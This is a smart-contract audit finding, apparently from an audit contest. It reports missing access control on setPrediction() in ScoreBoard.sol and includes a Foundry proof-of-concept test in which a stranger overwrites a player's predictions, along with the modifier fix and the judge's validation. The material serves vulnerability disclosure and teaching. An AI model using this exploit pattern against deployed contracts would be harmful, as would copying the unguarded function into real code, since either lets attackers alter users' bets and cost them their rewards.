Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: high
Valid

User Predictions can be overwritten by an attacker leading to lose of potential rewards

Summary

An attacker can change the prediction of a player by interacting directly with Scoreboard.sol

Vulnerability Details

In the function setPrediction() in Scoreboard.sol there is no access control to control who is able to call the function or not and setPrediction takes arbitrary address of player and set prediction to it, therefore changing the legitimate player's prediction.

function setPrediction(
address player,
uint256 matchNumber,
Result result
) public {
if (block.timestamp <= START_TIME + matchNumber * 68400 - 68400)
playersPredictions[player].predictions[matchNumber] = result;
playersPredictions[player].predictionsCount = 0;
for (uint256 i = 0; i < NUM_MATCHES; ++i) {
if (
playersPredictions[player].predictions[i] != Result.Pending &&
playersPredictions[player].isPaid[i]
) ++playersPredictions[player].predictionsCount;
}
}
  • A User registers and is approved by the organizer to become player.

  • Player makes prediction.

  • An attacker interacts with setPrediction() on ScoreBoard.sol and changes player's predictions

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import {Test, console} from "forge-std/Test.sol";
import {Strings} from "@openzeppelin/contracts/utils/Strings.sol";
import {ThePredicter} from "../src/ThePredicter.sol";
import {ScoreBoard} from "../src/ScoreBoard.sol";
import{ReentrancyAttack} from "../src/ReentrancyAttack.sol";
contract AuditTest is Test {
ThePredicter public thePredicter;
ScoreBoard public scoreBoard;
ReentrancyAttack public reentrancyAttack;
uint256 private constant START_TIME = 1723752000; // Thu Aug 15 2024 20:00:00 GMT+0000
address public organizer = makeAddr("organizer");
address public stranger = makeAddr("stranger");
address public player = makeAddr("player");
address public player2 = makeAddr("player2");
function setUp() public {
vm.startPrank(organizer);
scoreBoard = new ScoreBoard();
thePredicter = new ThePredicter(
address(scoreBoard),
0.04 ether,
0.0001 ether
);
scoreBoard.setThePredicter(address(thePredicter));
vm.stopPrank();
reentrancyAttack = new ReentrancyAttack(thePredicter);
vm.deal(address(reentrancyAttack), 0.04 ether);
}
function test_overWriteUserPredictions() public{
vm.deal(player, 0.0409 ether);
vm.deal(player2, 0.0409 ether);
//player registers with fee
vm.prank(player);
thePredicter.register{value: 0.04 ether}();
vm.prank(player2);
thePredicter.register{value: 0.04 ether}();
//stranger makes prediction with without registering
vm.startPrank(organizer);
thePredicter.approvePlayer(player);
thePredicter.approvePlayer(player2);
vm.stopPrank();
//player makes prediction with fee (who is the target)
vm.startPrank(player);
thePredicter.makePrediction{value: 0.0001 ether}(0, ScoreBoard.Result.First);
thePredicter.makePrediction{value: 0.0001 ether}(1, ScoreBoard.Result.Second);
thePredicter.makePrediction{value: 0.0001 ether}(2, ScoreBoard.Result.First);
thePredicter.makePrediction{value: 0.0001 ether}(3, ScoreBoard.Result.Second);
thePredicter.makePrediction{value: 0.0001 ether}(4, ScoreBoard.Result.Second);
thePredicter.makePrediction{value: 0.0001 ether}(5, ScoreBoard.Result.Second);
thePredicter.makePrediction{value: 0.0001 ether}(6, ScoreBoard.Result.First);
thePredicter.makePrediction{value: 0.0001 ether}(7, ScoreBoard.Result.Second);
thePredicter.makePrediction{value: 0.0001 ether}(8, ScoreBoard.Result.Second);
vm.stopPrank();
//player2 makes prediction with fee
vm.startPrank(player2);
thePredicter.makePrediction{value: 0.0001 ether}(0, ScoreBoard.Result.First);
thePredicter.makePrediction{value: 0.0001 ether}(1, ScoreBoard.Result.Second);
thePredicter.makePrediction{value: 0.0001 ether}(2, ScoreBoard.Result.Draw);
thePredicter.makePrediction{value: 0.0001 ether}(3, ScoreBoard.Result.Second);
thePredicter.makePrediction{value: 0.0001 ether}(4, ScoreBoard.Result.Second);
thePredicter.makePrediction{value: 0.0001 ether}(5, ScoreBoard.Result.Draw);
thePredicter.makePrediction{value: 0.0001 ether}(6, ScoreBoard.Result.Draw);
thePredicter.makePrediction{value: 0.0001 ether}(7, ScoreBoard.Result.Draw);
thePredicter.makePrediction{value: 0.0001 ether}(8, ScoreBoard.Result.Draw);
vm.stopPrank();
vm.startPrank(stranger);
//stranger overwrites prediction of a player
scoreBoard.setPrediction(player, 0, ScoreBoard.Result.Draw);
scoreBoard.setPrediction(player, 1, ScoreBoard.Result.Draw);
scoreBoard.setPrediction(player, 2, ScoreBoard.Result.Draw);
scoreBoard.setPrediction(player, 3, ScoreBoard.Result.Draw);
scoreBoard.setPrediction(player, 4, ScoreBoard.Result.Draw);
scoreBoard.setPrediction(player, 5, ScoreBoard.Result.Draw);
scoreBoard.setPrediction(player, 6, ScoreBoard.Result.Draw);
scoreBoard.setPrediction(player, 7, ScoreBoard.Result.Draw);
scoreBoard.setPrediction(player, 8, ScoreBoard.Result.Draw);
vm.stopPrank();
vm.startPrank(organizer);
//organizer sets results
scoreBoard.setResult(0, ScoreBoard.Result.First);
scoreBoard.setResult(1, ScoreBoard.Result.Second);
scoreBoard.setResult(2, ScoreBoard.Result.First);
scoreBoard.setResult(3, ScoreBoard.Result.Second);
scoreBoard.setResult(4, ScoreBoard.Result.Second);
scoreBoard.setResult(5, ScoreBoard.Result.Second);
scoreBoard.setResult(6, ScoreBoard.Result.First);
scoreBoard.setResult(7, ScoreBoard.Result.Second);
scoreBoard.setResult(8, ScoreBoard.Result.Second);
vm.stopPrank();
//player will not be able to withdraw
vm.expectRevert();
vm.startPrank(player);
//player withdraws
thePredicter.withdraw();
vm.stopPrank();
assertEq(address(player).balance, 0);
}
}

Impact

A user prediction can be changed leading to loss of potential rewards they could've gotten

Tools Used

Manual Review

Recommendations

This could be prevented by adding the onlyThePredicter modifier to the setPrediction function.

function setPrediction(
address player,
uint256 matchNumber,
+ Result result
) public onlyThePredicter {
if (block.timestamp <= START_TIME + matchNumber * 68400 - 68400)
playersPredictions[player].predictions[matchNumber] = result;
playersPredictions[player].predictionsCount = 0;
for (uint256 i = 0; i < NUM_MATCHES; ++i) {
if (
playersPredictions[player].predictions[i] != Result.Pending &&
playersPredictions[player].isPaid[i]
) ++playersPredictions[player].predictionsCount;
}
}
Updates

Lead Judging Commences

NightHawK Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

setPrediction lacks access control

setPrediction has no access control and allows manipulation to Players' predictions.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.